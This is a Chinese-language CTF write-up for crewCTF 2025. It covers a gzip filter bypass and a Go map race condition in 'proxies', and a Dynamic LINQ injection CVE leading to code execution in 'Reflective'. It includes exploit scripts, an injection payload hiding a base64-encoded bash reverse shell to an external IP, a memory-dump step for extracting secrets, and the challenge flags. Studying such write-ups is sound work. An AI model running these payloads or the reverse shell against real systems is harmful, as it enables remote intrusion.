crewCTF 2025 wp
proxies
go过滤器会屏蔽字符串GIVE ME FLAG!
go func() {
for {
n, err := client.Read(buf)
if err != nil {
if err == io.EOF {
slog.Info("Client EOF -> CloseRequest")
_ = protocol.SendCloseRequest(agent.Conn, agentConnID)
}
clientToAgent <- err
return
}
data := buf[:n]
keywords := [][]byte{
[]byte("chunked"),
[]byte("json"),
[]byte("urlencoded"),
[]byte("give me flag!"),
}
for _, kw := range keywords {
lowerData := bytes.ToLower(data)
lowerKw := bytes.ToLower(kw)
searchIdx := 0
for {
idx := bytes.Index(lowerData[searchIdx:], lowerKw)
if idx == -1 {
break
}
idx += searchIdx
replacement := []byte("REDACTED")
if len(replacement) > len(kw) {
replacement = replacement[:len(kw)]
} else if len(replacement) < len(kw) {
padding := make([]byte, len(kw)-len(replacement))
for i := range padding {
padding[i] = ' '
}
replacement = append(replacement, padding...)
}
copy(data[idx:idx+len(kw)], replacement)
searchIdx = idx + len(kw)
}
}
slog.Debug("Client -> Agent", slog.String("data", string(data)))
_ = protocol.SendDataPacket(agent.Conn, agentConnID, data)
}
}()
但是python端接收gzip格式
@app.before_request
def decompress_request():
encoding = request.headers.get("Content-Encoding", "").lower()
if encoding in ("gzip", "deflate"):
raw_data = request.get_data()
try:
if encoding == "gzip":
data = gzip.GzipFile(fileobj=io.BytesIO(raw_data)).read()
elif encoding == "deflate":
try:
data = zlib.decompress(raw_data)
except zlib.error:
data = zlib.decompress(raw_data, -zlib.MAX_WBITS)
request._cached_data = data
request.environ["wsgi.input"] = io.BytesIO(data)
request.content_length = len(data)
except Exception as e:
return f"Failed to decompress request body: {e}", 400
发送gzip格式即可拿到flag1
import requests
import gzip
BASE_URL = ""
def get_flag1():
payload = b"GIVE ME FLAG!"
try:
compressed_payload = gzip.compress(payload)
except Exception as e:
return None
headers = {
'Content-Encoding': 'gzip',
'Content-Type': 'application/octet-stream'
}
url = f"{BASE_URL}/path"
try:
response = requests.post(url, data=compressed_payload, headers=headers, timeout=5)
if response.status_code == 200 and "OK HERE IS YOUR FLAG" in response.text:
flag = response.text.split(': ')[-1].strip()
print(flag)
return flag
else:
print(response.text)
return None
except requests.exceptions.RequestException as e:
return None
if __name__ == "__main__":
flag1 = get_flag1()
crew{yk2i2mwvt03dg4o6
FLAG2
tunnel/cmd/agent/main.go 这里的map没有锁,可以并行写入
var connections = make(map[uint32]net.Conn)
connID := util.GenerateConnID(int(m.Port))
connections[connID] = outConn
有可能在竞争时出错?写脚本试试
import requests
import threading
import time
BASE_URL = ""
FLAG = None
STOP_THREADS = threading.Event()
def exploit(session):
try:
session.get(f"{BASE_URL}/admin_check", timeout=1, stream=True)
response = session.get(f"{BASE_URL}/admin", timeout=2)
if "I am admin, here is your flag" in response.text:
global FLAG
FLAG= response.text.split(': ')[-1].strip()
print(FLAG)
STOP_THREADS.set()
except Exception:
pass
if __name__ == "__main__":
num_threads = 50
threads = []
start_time = time.time()
for i in range(num_threads):
session = requests.Session()
thread = threading.Thread(target=exploit, args=(session,), name=f"{i+1}")
threads.append(thread)
thread.start()
time.sleep(0.01)
for thread in threads:
thread.join(timeout=1)
然后看运气,大概运行个几次就出了
ly2hmu3bvioie8t4}
结合起来
crew{yk2i2mwvt03dg4o6ly2hmu3bvioie8t4}
Reflective
public IEnumerable<Note> GetLatestNotes(string title, int page = 0)
{
string query = "Title.Contains(\"" + title + "\")";
return this._notes
.AsQueryable()
.OrderByDescending(n => n.CreatedAt)
.Where(query)
.Skip(page * 10)
.Take(10);
}这里查询存在注入,而Asqueryable方法来自Dynamic Linq,这个库存在一个cve在题目依赖版本下可用
https://github.com/advisories/GHSA-w65q-jcmv-28gj
Dynamic Linq 1.0.7.10 到 1.3.0 之前的 1.2.25 允许攻击者在解析 Where、Select、OrderBy 等方法的不受信任输入时执行任意代码和命令。
另外,部分dll(包含flag)加载后就被删除了
public static void InitializeBookKeeper(IServiceCollection services)
{
string bookKeeper
= Path.Join(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location),
"BookKeeper.dll");
if (!File.Exists(bookKeeper))
{
throw new Exception($"Couldn't find {bookKeeper}");
}
byte[] bytes = File.ReadAllBytes(bookKeeper);
Assembly assembly = AppDomain.CurrentDomain.Load(bytes);
Type initializer = assembly.GetExportedTypes().First(n => n.Name == "Initializer");
initializer.GetMethod("Initialize")!.Invoke(null, [services]);
File.Delete(bookKeeper);
}
}所以似乎不太能通过反射直接获取flag?
".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
.Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First()
.GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
.GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last()
.Invoke(null, new Object[]{"/usr/bin/bash", "-c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEzLjE5Mi41MC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"}).ToString() + "asd
通过cve,可以弹shell出来,但远程环境禁止读取mem,无法dump内存,dll也被删了
但是可以用官方工具dump下来内存
wget https://aka.ms/dotnet-dump/linux-x64
chmod +x linux-x64
./linux-x64 collect -p 1 -o dump.dmp
grep -a -o "c.r.e.w.{.*}" dump.dmp | tr -d '\\0'
#crew{dotnet_reflection_is_weird_is_it_not__why_do_i_care}
许可协议:
CC BY 4.0